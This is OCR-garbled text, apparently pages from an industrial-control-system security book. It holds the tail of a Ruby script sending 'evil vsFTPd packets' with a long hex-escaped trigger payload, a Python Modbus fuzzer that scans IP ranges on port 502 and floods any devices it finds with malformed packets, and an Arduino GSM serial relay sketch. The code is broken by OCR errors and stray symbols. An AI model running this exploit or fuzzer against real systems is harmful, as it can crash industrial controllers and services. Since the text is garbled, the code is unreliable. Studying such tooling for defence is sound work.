c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7
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b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x
2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\
x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2¢c
\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2
a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2
c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x
2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\
x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a
\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7
b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2
a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x
To\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\
x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b
\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7
d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7
b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x
T7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\
x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d
\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7
b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7
d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x
To\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\
x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b
\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\ x2
c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7
b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x
2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\
x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2¢c
\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2
a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2
c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\ x
2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x2e\x7d\x7d\x7d\
x5d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\ x 7d\x7d\ x7
d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x 7d\x7d\x7d\x7d\x 7d\x 7d\x7d"+" \x 7
A\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\ x7d\ x
7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x 7d\x7d\x5d"+"\x7d\x7d\ x 7d\x 7d\
x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\ x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\ x7d\x7d\ x7d\x7d\x7d\ x7d\x7d\ x7
d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x 7d\x7d\x7d\x7d\ x 7d\x 7d\x7d"+" \x 7
A\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\ x7d\ x
7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x5d\x7d\x7d\x 7d\x7d\x7d"+"\x7d\x7d\ x 7d\x 7d\
x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\ x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\ x7d\x7d\ x7d\x7d\x7d\ x7d\x7d\ x7
d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x 7d\x7d\x7d\x7d\x 7d\x 7d\x7d"+" \x 7
A\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\ x7d\ x
5d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x 7d\
x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\ x7d\x7d\ x7
d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x 7d\x 7d\x7d"+" \ x 7
A\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\ x7d\ x5d\x7d\x7d"+"\x7d\ x7d\ x
7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x 7d\x7d\x7d"+"\x7d\x 7d\ x 7d\x 7d\
x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\x7d\ x7d\x7d\ x7
d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x 7d\x7d\x7d\x7d\x 7d\x 7d\x7d"+" \x 7

(ICS) e J5S S s ol o), T


https://telegram.me/karnil
www.karnil.com

A\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x5d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\ x7d\ x 7d\ x
Td\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x 7d\x7d\x7d"+"\x7d\x 7d\ x7d\x 7d\
x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\x7d\x7d\ x7d\x7d\ x7d\x7d
\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x7d\x7d\x7d"+"\ x7d\x7d\ x7d\x7d\x7d\ x 7d\x 7d\ x 7
d"+"\x7d\x7d\x7d\x7d"+"\x7d\x7d\x7d\x7d\x7d\x 7d\x7d\x7d"+"\x7d\x7d\x0a"
S.times { |pl

puts "[+] Sending evil vsFTPd packets #{p + 1} ..."

sleep(3)

sd.write(trigger)

#buf = sd.recv(189068)

sd.close
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Modbus Fuzzer : £90 Cemwga

#!/usr/bin/python

Created on Apr 16, 2013 v0.1

Modified and added scanning function, Dec 14, 2013 v0.2
@author: Ali, Sami

import socket

import sys

from types import *

import struct

HOST = '127.0.0.1°' # The remote host
dest_port = 502 # The same port as used by the server
TANGO_DOWN = "'

sock = None
dumbflagset = 0;

def create_connection(dest_ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)

HOST = dest_ip

print 'Connecting to %s' % HOST

try:
sock.settimeout(0.001)
sock.connect((HOST, dest_port))
#sock.settimeout (None)

except socket.error, msg:
#sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(2)

print 'Connected successfully'
return sock

def dumb_fuzzing(dest_ip):
sock = create_connection(dest_ip, dest_port)

lengthl = 0
length2 = 6
unitIb = 1

for transID1 in range(0,255):
for transID2 in range(0,255):
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for protoIDl1 in range(9,255):
for protoID2 in range(©,255):

# for Llengthl in range(0,255):
# for length2 in range(0,255):
# for unitID in range(0,255):

for functionCode in range(©,255):
for functionDatal in range(©,65535):

for functionData2 in range(©,65535):
TotalModbusPacket = struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">B",
struct.pack(">H",
struct.pack(">H",
# print transID protolID

print 'Sent Msg : %0@2x %02Xx,

Length
%02x %02X,

transID1) + \
transID2) + \
protoID1) + \
protoID2) + \

lengthl) + \

length2) + \

unitIp) + \

functionCode) + \
functionDatal) + \
functionData2)

uID funcCode funcData'
%02Xx %02X, %02X, %02X,

%04x, %04x"' % (transID1l, transID2, protoIDl1, protoID2, lengthl, length2, unitID, functionCode,

functionDatal, functionData2)
try:
sock.send(TotalModbusPacket)
except socket.timeout:
print '’
try:
data = sock.recv(1024)
print 'Received %s:' % repr(data)
except socket.timeout:
print '’
sock.close()

def smart_fuzzing(dest_ip, msg):
sock = create_connection(dest_ip, dest_port)
strInput = msg

dataSend = ""
shortInput = ""
sock.send(msg)
# cnt = 1
# for chInput in strInput:
# shortInput += chInput
# i1f cnt%2 == 0:
# intInput = int(shortInput, 16)
# dataSend += struct.pack(">B", intInput)

(ICS) e J5S o s ol oo, LY


https://telegram.me/karnil
www.karnil.com

# print 'short: %s, intInput: %s, dataSend: %s'%(repr(shortInput), intInput,
repr(dataSend) )

# shortInput = "'

# cnt += 1

# print '%s' % repr(dataSend)

# sock.send(dataSend)

# print 'sent: %s' % repr(dataSend)

1o/t

print '%s' % repr(msg)
try:
dataRecv = sock.recv(1024)
print >>sys.stderr, 'received: %s' % repr(dataRecv)
except socket.timeout:
print 'recv timed out’
# 1f dataRecv==TANGO_DOWN :
# print "'TANGO DOWN !!!'’
sock.close()

def atod(a): # ascii_to decimal
return struct.unpack("!L",socket.inet_aton(a))[@]

def dtoa(d): # decimal to ascii
return socket.inet_ntoa(struct.pack("!L", d))

def scan_device(ip_range):
net, ,mask = ip_range.partition('/")
mask = int(mask)
net = atod(net)
for dest_ip in (dtoa(net+n) for n in range(©@, 1<<32-mask)):
try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error, msg:
sock.close()

try:
sock.settimeout(0.2);
sock.connect((dest_ip, dest_port))
except socket.error, msg:
print "connection error at %s" % dest_ip
continue
except socket.timeout:
print 'ip %s timeout error' % dest_ip
continue

unitID = 0
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dataRecv =

while True:

dataSend = struct.pack(">H", 0) \

+ struct.pack(">H", 0) \
struct.pack(">H", 6) \
struct.pack(">B", unitID) \
struct.pack(">B", 3) \
struct.pack(">H", @) \
struct.pack(">H", 1)

+ + + + +

try:

sock.send(dataSend)

print "Sent: %s to %s" % (repr(dataSend), dest_ip)
except socket.error:

print 'FAILED TO SEND'

#sock.close()

#continue

try:
dataRecv = sock.recv(1024)
print "Recv : %s" % repr(dataRecv)
except socket.timeout:
sys.stdout.write('.")

if len(dataRecv) < 1:
sys.stdout.write('.")
#print "."
unitID += 1

else:
print '\nunit ID %d found at IP %s' % (unitID, dest_ip)
if dumbflagset ==

print 'now starting dumb fuzzing'
dumb_fuzzing(dest_ip)
break

sock.close()

# main starts here

if len(sys.argv) < 3:

print
print
print
print
print
print
print

"modbus fuzzer ve.1"

"Usage: python modFuzzer.py [-D] [destination_IP]"

" [-I] [destination_IP] [packet]"
" [-S] [IP_rangel"

" [-SD][IP_range]l"
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print "Commands:"
print "Either long or short options are allowed."

print " --dumb -D Fuzzing in dumb way"
print " --input -I Fuzzing with given modbus packet"
print " --scan -S Scan the modbus device(s) in given IP range"
print " --sc_dumb -SD Scan the device(s) and doing dumb fuzzing"
# print " "
# print "Option:"
# print " --port -p Port number"
print " "

print "Example:"
print "python modFuzzer.py -D 192.168.0.123"
# print "python modFuzzer.py -D 192.168.0.123 -p 8888"
print "python modFuzzer.py -I 192.168.0.23 0000000000060103000A0001"
print "python modFuzzer.py -S 192.168.0.0/24"
print ""
exit(1)

argvl = sys.argv[1l]

argv2 = sys.argv[2]

argv3 = "'
if len(sys.argv) > 3:

argv3 = sys.argv[3]

if (argvl=='-D"') or (argvl=='--dumb'): # dumb fuzzing
dumb_fuzzing(argv2)
sys.exit(1)

elif (argvl=='-I") or (argvl=='--input'): # smart user input

smart_fuzzing(argv2, argv3)
elif (argvl=='-S"') or (argvl=='--scan') or (argvl=='-SD'): # scan device
if argvl =='-SD'

dumbflagset = 1
scan_device(argv2)

sys.exit(0)
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GSM Shield Virtual Port for Arduino :pgw Cawgn

//Serial Relay For GSM Shield
#include <SoftwareSerial.h>

SoftwareSerial GPRS (7, 8);

unsigned char buffer[64]; // buffer array for data over serial port
int count=0; // counter for buffer array

void setup()

{

GPRS.begin (19200); // the GPRS baud rate

Serial.begin(19200); // the Serial port of Arduino baud rate.

}
void loop()

{
if (GPRS.available()) // if date is comming from softwareserial port
{
while (GPRS.available()) // reading data into char array
{
buffer[count++]=GPRS.read(); // writing data into
array
if (count == 64)break;
}

Serial.write(buffer,count); // if no data transmission ends, write
buffer to hardware serial port
clearBufferArray(); // call clear BufferArray function to clear the

storage data from the array

count = 0; // set counter of while loop to zero
}
if (Serial.available()) // if data is available on hardwareserial
port ==> data is comming from PC or notebook
GPRS.write(Serial.read()); // write it to the GPRS shield
}
void clearBufferArray() // function to clear buffer array
{

for (int i=0; i<count;i++)
{ buffer[i]=NULL;} // clear all index of array with command NULL
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